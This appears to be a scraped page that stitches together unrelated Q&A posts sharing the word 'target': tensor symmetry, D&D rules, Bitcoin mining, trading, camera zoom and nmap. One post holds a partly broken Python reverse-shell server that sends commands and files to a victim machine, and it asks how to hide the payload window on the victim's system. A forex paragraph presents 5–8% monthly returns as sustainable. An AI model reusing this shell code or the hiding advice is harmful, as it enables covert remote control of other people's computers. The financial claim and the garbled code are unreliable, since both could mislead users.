## algorithms – Modify set to come as close as possible to target set

Note: I am searching for an algorithm that can do what I need or something similar to it, so that I can try to adapt it to my needs. My idea here was to ask for a reference (e.g. “This can be solved using an algorithm called xyz”) but obviously I would also appreciate it if someone took the time to create one on-the-fly. The latter is not my expectation though. I am mostly looking for some keywords to continue my research on.

### Algorithm description

I am searching for an algorithm that can bring a given set of elements as close to a different set of the same length as possible. However the tricky part is that only specific elements may be exchanged.

The elements in the set can be assumed to have an intrinsic order. That is we can define a series `a < b < c < d < ...` for all elements across the sets.

The allowed changes are not known beforehand but are generally in the form of “replace the i-th element in the set with the j-th one” or “Replace the i-th and the j-th element and at the same time the k-th with l-th” or any extension of that. Thus: Pairwise exchanges of one or more pairs of elements where not the element itself but its position within the set is important.

As an example consider the set `{abcd}` and we want to check whether we can turn this into `{dabc}`. The allowed modifications are:

• Switch 0-th with 1-st
• Switch 2nd with 3rd

Using these rules it is impossible to convert the starting set into the target set and thus something that comes as close as possible to it, is enough.

The exact measure of “closeness” is not relevant for me, as long as the end-result is always the same, no matter from which permutation of the set I start (provided it is possible to arrive at the solution using only the given modifications). So in this example it should not matter whether I start from `{abcd}` or e.g. `{badc}`.

The other characteristic of the searched for algorithm is that if it is possible to reach the given target set with the allowed modifications, the algorithm should always transform my start set into the target set.

### The underlying application

The context to where I intend to use an algorithm as described above is to determine whether two Tensor specifications (for our intents and purposes a “Tensor” is a multidimensional array) are really referring to one and the same element, taking the Tensor’s symmetry into account.

So for instance a Tensor could be $$G^{ij}_{ab}$$ and its symmetries allow exchange index $$i$$ with $$j$$. Therefore $$G^{ji}_{ab}$$ must have the exact same value because there exists a symmetry-relation that tells us that these two must be equal. $$G^{ij}_{ba}$$ on the other hand would be a different element.

My idea was to establish something of a “canonical” order of indices such that Tensor elements that are really the same, end up being written in the exact same way and therefore can be compared for equality by a simple `==` check.

In order to do that I would map the indices into a set of indices (e.g. `{ijab}`) which I can sort, since my indices are comparable. Therefore I can create a target set of indices that is independent of the starting set and thus I can use that as a common reference point for all Tensors that contain the same indices (but maybe in different order).

## dnd 5e – Do multiple instances of the Death Ward spell stack on the same target?

In most situations, spell effects of the same name do not stack, per the rule on combining game effects added in the errata for the DMG (p. 252):

(…) when two or more game features have the same name, only the effects of one of them—the most potent one—apply while the durations of the effects overlap. (…)

However, the death ward spell may be an exception to the intent of the rule. Death ward is unique compared to other durable buffs, because it both replaces its trigger and ends when it triggers (emphasis mine):

The first time the target would drop to 0 hit points as a result of taking damage, the target instead drops to 1 hit point, and the spell ends.

I can see two possible interactions with multiple castings of death ward:

Scenario A

1. Carl has two instances of death ward active on him. Only the most recent one applies.
2. Carl takes a hit that would drop him to 0 hit points.
3. The active instance of death ward triggers, dropping Carl to 1 hit point instead and ending that instance of death ward.
4. Because Carl did not drop to 0 hit points, the inactive instance of death ward does not trigger.
5. Carl now has a single instance of death ward active.

In this scenario, Carl effectively has two stacks of death ward.

Scenario B

1. Carl has two instances of death ward active on him. Only the most recent one applies.
2. Carl takes a hit that would drop him to 0 hit points.
3. Both instances of death ward trigger. The activation of death ward causes Carl to drop to 1 hit point instead of 0 hit points.
4. Carl has no instances of death ward active anymore.

In this scenario, the instances of death ward do not stack. Note that this scenario is identical to the ones described in this Q&A: What happens when identical overlapping effects have their end-condition met?

Which of these scenarios is correct?

## blockchain – Python code error : Hash greater than Target

While trying to run a reference code from GitHUb i am getting an error “Cannot Mine-Hash is greater than Target”. As i am just a beginner with coding i am not able to figure this out. Kindly help me to fix this

[https://github.com/muimota/miniminer/blob/master/miner.py]

Any help regarding the same is highly appreciated. Thank you

## mining pools – Why is my target different from a miner?

I’m developing a miner to study how mining works and I’ve connected it to a pool using Stratum. When I use the bits provided by the pool to calculate the target, it is different from the miner that I use (cpuminer). The target from cpuminer is easier than mine, like, the cpuminer target has 4 leading zeroes and mine has like 13 leading zeroes. I also noticed that the pool sends the difficulty, but I have no idea how should I use it.

How should I use the difficulty provided by the pool to calculate my target?

## exchanges – How to figure out a limit price when setting a BUY price target?

Using market-price makes me nervous when buying crypto, especially if I am setting up automated trades e.g. “buy if price > X”:

1. not only can prices change very quickly but
2. I have seen very brief blips (typically on other coins but I think it’s still possible on BTC) where for a few seconds the price may spike/crash 50% perhaps due to a very large trade – these could wreak havoc on my trades if I caught one

So limit buys seem preferable to me. But since the price is always changing and we have spread to consider, what is the normal way to do this?

Say I want to create an order to buy BTC when the market reaches \$50k because I think that would signal a breakout. If I understand correctly it’s no point setting my limit as \$50k because if the price is rising, I already missed my price-point.

What would be a typical strategy when setting these limit prices… is there a “normal way” of doing this I haven’t read about?

Having a target set for forex trading, is really necessary so that we can stick to our plans. As we know, that forex market needs attention towards risk management, hence setting a target is also a part of that management only.

What is a perfect target for a trader on a monthly basis? I would say, around 5% to 8% profit per month is very sustainable as well as very lucrative. Because if you calculate that on yearly basis it will become 60 to 96% which is a very profitable return.

## Hide payload window on target system. Python Reverse Shell

Using this simple python reverse shell, and I have a simple question about it. When this runs, a command window pops up on the target windows system. Is there a way to hide it?

``````import socket

BUFFER_SIZE = 1024
attacker_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# lets the attacker server listen on the specified port number
def attacker_server_binder(hostname, port_number):
attacker_server.bind((hostname, port_number))
attacker_server.listen(5)

# listening for connections
while True:
# receive connection from target client

if(target_client != None):
break
print("Connection established to targetn \$reverse_shell: ", end="")
return target_client

# connects to the client being targeted
def send_data(data, target_client):

target_client.send(bytes(data, 'utf-8'))
acknowledgement =  target_client.recv(BUFFER_SIZE)
if(acknowledgement == b'ACK'):
# print("Data received at target end")
else:
print("Acknowledgement receipt not received.n\$reverse_shell: ", end = "")

response = ""
while True:
break
print(response + "n\$reverse_shell: ", end= "")

def command_handler(target_client):
data = str(input())
try:
data.index('file')
file_handler(target_client, data)
return
except:
pass
send_data(data, target_client)

def file_handler(target_client, command):
target_client.send(bytes(command, 'utf-8'))
acknowledgement = target_client.recv(BUFFER_SIZE)
if(acknowledgement == b'ACK'):
pass
data_splits = command.split(' ')
mode = data_splits(2)
if(mode == 'r'):

elif(mode == 'w' or mode == 'a'):

print("enter FILE_UPDATE_QUIT to end data transfer")
while True:
data = str(input("--> "))
target_client.send(bytes(data, 'utf-8'))
if(data == 'FILE_UPDATE_QUIT'):
break

def main():
attacker_server_binder("192.168.29.15", 1234)

# receive connection from target client

while True:
command_handler(target_client)

main()
``````

## dnd 5e – What fraction of a typical campaign’s Wisdom saving throws that target Players are for charm, for fear, or for psychic damage?

I’m contemplating my assignment of ability scores for my first Aberrant Mind Sorcerer, and I have one odd number that I’m considering putting into either Dexterity or Wisdom.

Because my impression is that failed Wisdom saving throws cause more dangerous secondary effects than failed Dexterity ones, I’d normally put the odd score into Wisdom and plan to even it out later with the Resilient (WIS) feat (PHB pg. 168):

Choose one ability score. You gain the following benefits:

• Increase the chosen ability score by 1, to a maximum of 20.
• You gain proficiency in saving throws using the chosen ability.

However, the Aberrant Mind sorcerer has the Psychic Defenses feature at level 6 (TCoE pg. 68):

You gain resistance to psychic damage, and you have advantage on saving throws against being charmed and frightened.

Because charm, fear, and psychic damage often come by way of failed WIS saving throws, this feature clearly devalues Resilient (WIS) to some degree, but by how much?

When I filter the spells currently on D&D Beyond, 12 of the 15 that cause charm, 8 of the 11 that cause fear, and 8 of the 18 that do psychic damage require WIS saves, for a total of 28/44 = 64%, or about two thirds. (I may have failed to cull some that remove the effect instead of causing it, so these numbers are approximate.)

However, enemy abilities and lair effects don’t necessarily have the same statistical profile as the Player Character spells. Thus my question: What fraction of a typical campaign’s Wisdom saving throws that target Players are for charm, for fear, or for psychic damage?

Then, as a bonus question: Does this devalue Resilient (WIS) enough that it would be smarter to put my odd ability score in Dexterity and plan to take Resilient (DEX) instead?

## tls – Why does nmap scan from a Window machine then a Kali machine give different outputs for the same target?

tls – Why does nmap scan from a Window machine then a Kali machine give different outputs for the same target? – Information Security Stack Exchange

## focal length – Is x50 zoom camera able to zoom 500 meter target area from a 6 km distance?

I have a x50 zoom camera and here is some specs of the camera and lens:

• Focal length: 6 mm ~ 300 mm
• Field of view: 58.4° ~ 1.4°
• Resolution: 2 MP

I drew a scheme to explain my question properly, you can see below:

I have a 500 meter diameter circle area 6 km distance to my camera. My question is that is this camera able to zoom to this target area or not ? Can we calculate this with these camera specs ? If yes how ?

Thank you all.